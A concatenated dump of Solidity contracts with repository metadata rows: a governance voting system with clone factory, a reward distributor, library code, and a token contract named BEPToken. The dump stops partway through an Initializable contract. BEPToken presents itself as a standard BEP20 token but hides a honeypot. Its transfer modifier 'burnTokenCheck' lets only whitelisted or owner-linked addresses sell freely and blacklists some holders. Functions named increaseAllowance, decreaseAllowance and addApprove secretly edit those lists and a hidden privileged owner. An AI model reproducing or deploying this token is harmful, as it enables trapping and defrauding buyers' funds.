function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(implementation, salt, address(this));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
contract Governance is ReentrancyGuard {
uint constant public governance_challenging_period = 10 days;
uint constant public governance_freeze_period = 30 days;
address public votingTokenAddress;
address public governedContractAddress;
mapping(address => uint) public balances;
VotedValue[] public votedValues;
mapping(string => VotedValue) public votedValuesMap;
constructor(address _governedContractAddress, address _votingTokenAddress){
init(_governedContractAddress, _votingTokenAddress);
}
function init(address _governedContractAddress, address _votingTokenAddress) public {
require(governedContractAddress == address(0), "governance already initialized");
governedContractAddress = _governedContractAddress;
votingTokenAddress = _votingTokenAddress;
}
function addressBelongsToGovernance(address addr) public view returns (bool) {
for (uint i = 0; i < votedValues.length; i++)
if (address(votedValues[i]) == addr)
return true;
return false;
}
function isUntiedFromAllVotes(address addr) public view returns (bool) {
for (uint i = 0; i < votedValues.length; i++)
if (votedValues[i].hasVote(addr))
return false;
return true;
}
function addVotedValue(string memory name, VotedValue votedValue) external {
require(msg.sender == governedContractAddress, "not authorized");
votedValues.push(votedValue);
votedValuesMap[name] = votedValue;
}
function deposit(uint amount) payable external {
deposit(msg.sender, amount);
}
function deposit(address from, uint amount) nonReentrant payable public {
require(from == msg.sender || addressBelongsToGovernance(msg.sender), "not allowed");
if (votingTokenAddress == address(0))
require(msg.value == amount, "wrong amount received");
else {
require(msg.value == 0, "don't send ETH");
require(IERC20(votingTokenAddress).transferFrom(from, address(this), amount), "failed to pull gov deposit");
}
balances[from] += amount;
}
function withdraw() external {
withdraw(balances[msg.sender]);
}
function withdraw(uint amount) nonReentrant public {
require(amount > 0, "zero withdrawal requested");
require(amount <= balances[msg.sender], "not enough balance");
require(isUntiedFromAllVotes(msg.sender), "some votes not removed yet");
balances[msg.sender] -= amount;
if (votingTokenAddress == address(0))
payable(msg.sender).transfer(amount);
else
require(IERC20(votingTokenAddress).transfer(msg.sender, amount), "failed to withdraw gov deposit");
}
}
abstract contract VotedValue is ReentrancyGuard {
Governance public governance;
uint public challenging_period_start_ts;
mapping(address => bool) public hasVote;
constructor(Governance _governance){
governance = _governance;
}
function checkVoteChangeLock() view public {
require(challenging_period_start_ts + governance.governance_challenging_period() + governance.governance_freeze_period() < block.timestamp, "you cannot change your vote yet");
}
function checkChallengingPeriodExpiry() view public {
require(block.timestamp > challenging_period_start_ts + governance.governance_challenging_period(), "challenging period not expired yet");
}
}
contract VotedValueUint is VotedValue {
function(uint) external validationCallback;
function(uint) external commitCallback;
uint public leader;
uint public current_value;
mapping(address => uint) public choices;
mapping(uint => uint) public votesByValue;
mapping(uint => mapping(address => uint)) public votesByValueAddress;
constructor() VotedValue(Governance(address(0))) {}
function init(Governance _governance, uint initial_value, function(uint) external _validationCallback, function(uint) external _commitCallback) external {
require(address(governance) == address(0), "already initialized");
governance = _governance;
leader = initial_value;
current_value = initial_value;
validationCallback = _validationCallback;
commitCallback = _commitCallback;
}
function vote(uint value) nonReentrant external {
_vote(value);
}
function voteAndDeposit(uint value, uint amount) nonReentrant payable external {
governance.deposit{value: msg.value}(msg.sender, amount);
_vote(value);
}
function _vote(uint value) private {
validationCallback(value);
uint prev_choice = choices[msg.sender];
bool hadVote = hasVote[msg.sender];
if (prev_choice == leader)
checkVoteChangeLock();
if (hadVote)
removeVote(prev_choice);
uint balance = governance.balances(msg.sender);
require(balance > 0, "no balance");
votesByValue[value] += balance;
votesByValueAddress[value][msg.sender] = balance;
choices[msg.sender] = value;
hasVote[msg.sender] = true;
if (votesByValue[value] > votesByValue[leader]){
leader = value;
challenging_period_start_ts = block.timestamp;
}
}
function unvote() external {
if (!hasVote[msg.sender])
return;
uint prev_choice = choices[msg.sender];
if (prev_choice == leader)
checkVoteChangeLock();
removeVote(prev_choice);
delete choices[msg.sender];
delete hasVote[msg.sender];
}
function removeVote(uint value) internal {
votesByValue[value] -= votesByValueAddress[value][msg.sender];
votesByValueAddress[value][msg.sender] = 0;
}
function commit() nonReentrant external {
require(leader != current_value, "already equal to leader");
checkChallengingPeriodExpiry();
current_value = leader;
commitCallback(leader);
}
}
contract VotedValueUintArray is VotedValue {
function(uint[] memory) external validationCallback;
function(uint[] memory) external commitCallback;
uint[] public leader;
uint[] public current_value;
mapping(address => uint[]) public choices;
mapping(bytes32 => uint) public votesByValue;
mapping(bytes32 => mapping(address => uint)) public votesByValueAddress;
constructor() VotedValue(Governance(address(0))) {}
function init(Governance _governance, uint[] memory initial_value, function(uint[] memory) external _validationCallback, function(uint[] memory) external _commitCallback) external {
require(address(governance) == address(0), "already initialized");
governance = _governance;
leader = initial_value;
current_value = initial_value;
validationCallback = _validationCallback;
commitCallback = _commitCallback;
}
function equal(uint[] memory a1, uint[] memory a2) public pure returns (bool) {
if (a1.length != a2.length)
return false;
for (uint i = 0; i < a1.length; i++)
if (a1[i] != a2[i])
return false;
return true;
}
function getKey(uint[] memory a) public pure returns (bytes32){
return keccak256(abi.encodePacked(a));
}
function vote(uint[] memory value) nonReentrant external {
_vote(value);
}
function voteAndDeposit(uint[] memory value, uint amount) nonReentrant payable external {
governance.deposit{value: msg.value}(msg.sender, amount);
_vote(value);
}
function _vote(uint[] memory value) private {
validationCallback(value);
uint[] storage prev_choice = choices[msg.sender];
bool hadVote = hasVote[msg.sender];
if (equal(prev_choice, leader))
checkVoteChangeLock();
if (hadVote)
removeVote(prev_choice);
bytes32 key = getKey(value);
uint balance = governance.balances(msg.sender);
require(balance > 0, "no balance");
votesByValue[key] += balance;
votesByValueAddress[key][msg.sender] = balance;
choices[msg.sender] = value;
hasVote[msg.sender] = true;
if (votesByValue[key] > votesByValue[getKey(leader)]){
leader = value;
challenging_period_start_ts = block.timestamp;
}
}
function unvote() external {
if (!hasVote[msg.sender])
return;
uint[] storage prev_choice = choices[msg.sender];
if (equal(prev_choice, leader))
checkVoteChangeLock();
removeVote(prev_choice);
delete choices[msg.sender];
delete hasVote[msg.sender];
}
function removeVote(uint[] memory value) internal {
bytes32 key = getKey(value);
votesByValue[key] -= votesByValueAddress[key][msg.sender];
votesByValueAddress[key][msg.sender] = 0;
}
function commit() nonReentrant external {
require(!equal(leader, current_value), "already equal to leader");
checkChallengingPeriodExpiry();
current_value = leader;
commitCallback(leader);
}
}
contract VotedValueAddress is VotedValue {
function(address) external validationCallback;
function(address) external commitCallback;
address public leader;
address public current_value;
mapping(address => address) public choices;
mapping(address => uint) public votesByValue;
mapping(address => mapping(address => uint)) public votesByValueAddress;
constructor() VotedValue(Governance(address(0))) {}
function init(Governance _governance, address initial_value, function(address) external _validationCallback, function(address) external _commitCallback) external {
require(address(governance) == address(0), "already initialized");
governance = _governance;
leader = initial_value;
current_value = initial_value;
validationCallback = _validationCallback;
commitCallback = _commitCallback;
}
function vote(address value) nonReentrant external {
_vote(value);
}
function voteAndDeposit(address value, uint amount) nonReentrant payable external {
governance.deposit{value: msg.value}(msg.sender, amount);
_vote(value);
}
function _vote(address value) private {
validationCallback(value);
address prev_choice = choices[msg.sender];
bool hadVote = hasVote[msg.sender];
if (prev_choice == leader)
checkVoteChangeLock();
if (hadVote)
removeVote(prev_choice);
uint balance = governance.balances(msg.sender);
require(balance > 0, "no balance");
votesByValue[value] += balance;
votesByValueAddress[value][msg.sender] = balance;
choices[msg.sender] = value;
hasVote[msg.sender] = true;
if (votesByValue[value] > votesByValue[leader]){
leader = value;
challenging_period_start_ts = block.timestamp;
}
}
function unvote() external {
if (!hasVote[msg.sender])
return;
address prev_choice = choices[msg.sender];
if (prev_choice == leader)
checkVoteChangeLock();
removeVote(prev_choice);
delete choices[msg.sender];
delete hasVote[msg.sender];
}
function removeVote(address value) internal {
votesByValue[value] -= votesByValueAddress[value][msg.sender];
votesByValueAddress[value][msg.sender] = 0;
}
function commit() nonReentrant external {
require(leader != current_value, "already equal to leader");
checkChallengingPeriodExpiry();
current_value = leader;
commitCallback(leader);
}
}
contract VotedValueFactory {
address public votedValueUintMaster;
address public votedValueUintArrayMaster;
address public votedValueAddressMaster;
constructor(address _votedValueUintMaster, address _votedValueUintArrayMaster, address _votedValueAddressMaster) {
votedValueUintMaster = _votedValueUintMaster;
votedValueUintArrayMaster = _votedValueUintArrayMaster;
votedValueAddressMaster = _votedValueAddressMaster;
}
function createVotedValueUint(Governance governance, uint initial_value, function(uint) external validationCallback, function(uint) external commitCallback) external returns (VotedValueUint) {
VotedValueUint vv = VotedValueUint(Clones.clone(votedValueUintMaster));
vv.init(governance, initial_value, validationCallback, commitCallback);
return vv;
}
function createVotedValueUintArray(Governance governance, uint[] memory initial_value, function(uint[] memory) external validationCallback, function(uint[] memory) external commitCallback) external returns (VotedValueUintArray) {
VotedValueUintArray vv = VotedValueUintArray(Clones.clone(votedValueUintArrayMaster));
vv.init(governance, initial_value, validationCallback, commitCallback);
return vv;
}
function createVotedValueAddress(Governance governance, address initial_value, function(address) external validationCallback, function(address) external commitCallback) external returns (VotedValueAddress) {
VotedValueAddress vv = VotedValueAddress(Clones.clone(votedValueAddressMaster));
vv.init(governance, initial_value, validationCallback, commitCallback);
return vv;
}
}
| 274,539 | 11,362 |
f3f759cbdaed9bd1ff0763b33b57bbb353e5609ba76c141e23b6da46997aeaa8
| 29,374 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x6b8fF1a6AF71da63040cD896A8cd384688D93283/contract.sol
| 3,410 | 12,687 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
// SPDX-License-Identifier
// SPDX-License-Identifier: UNLICENSED
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEPToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 253,915 | 11,363 |
1f0f616fe3f842d3a3cbd2d38104e96779c83f6499e0019d5cdb7c4cda920e35
| 16,179 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/2f/2f30f36049eB7387b941D38c7A8FF8b2840474ef_Distributor.sol
| 3,405 | 13,880 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
IERC20 public immutable Cunoro;
ITreasury public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
event LogDistribute(address indexed recipient, uint amount);
event LogAdjust(uint initialRate, uint currentRate, uint targetRate);
event LogAddRecipient(address indexed recipient, uint rate);
event LogRemoveRecipient(address indexed recipient);
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _noro, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = ITreasury(_treasury);
require(_noro != address(0));
Cunoro = IERC20(_noro);
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
treasury.mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
emit LogDistribute(info[ i ].recipient, nextRewardAt(info[ i ].rate));
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
uint initial = info[ _index ].rate;
uint rate = initial;
if (adjustment.add) { // if rate should increase
rate = rate.add(adjustment.rate); // raise rate
if (rate >= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
} else { // if rate should decrease
rate = rate.sub(adjustment.rate); // lower rate
if (rate <= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
}
info[ _index ].rate = rate;
emit LogAdjust(initial, rate, adjustment.target);
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return Cunoro.totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) external view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyOwner {
require(_recipient != address(0), "IA");
require(_rewardRate <= 100000, "Too high reward rate");
require(info.length <= 4, "limit recipients max to 5");
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
emit LogAddRecipient(_recipient, _rewardRate);
}
function removeRecipient(uint _index, address _recipient) external onlyOwner {
require(_recipient == info[ _index ].recipient, "NA");
info[_index] = info[info.length-1];
adjustments[_index] = adjustments[ info.length-1 ];
info.pop();
delete adjustments[ info.length-1 ];
emit LogRemoveRecipient(_recipient);
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyOwner {
require(_target <= 100000, "Too high reward rate");
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 76,782 | 11,364 |
5925d00b1ee18b1abbc0b4786382e2944fafadf9358b3e9bd50dae36e3d7267e
| 28,336 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xA2E71Bf2cF12F8fcb2577bED3571B425169e1E58/contract.sol
| 2,961 | 11,362 |
pragma solidity 0.6.6;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
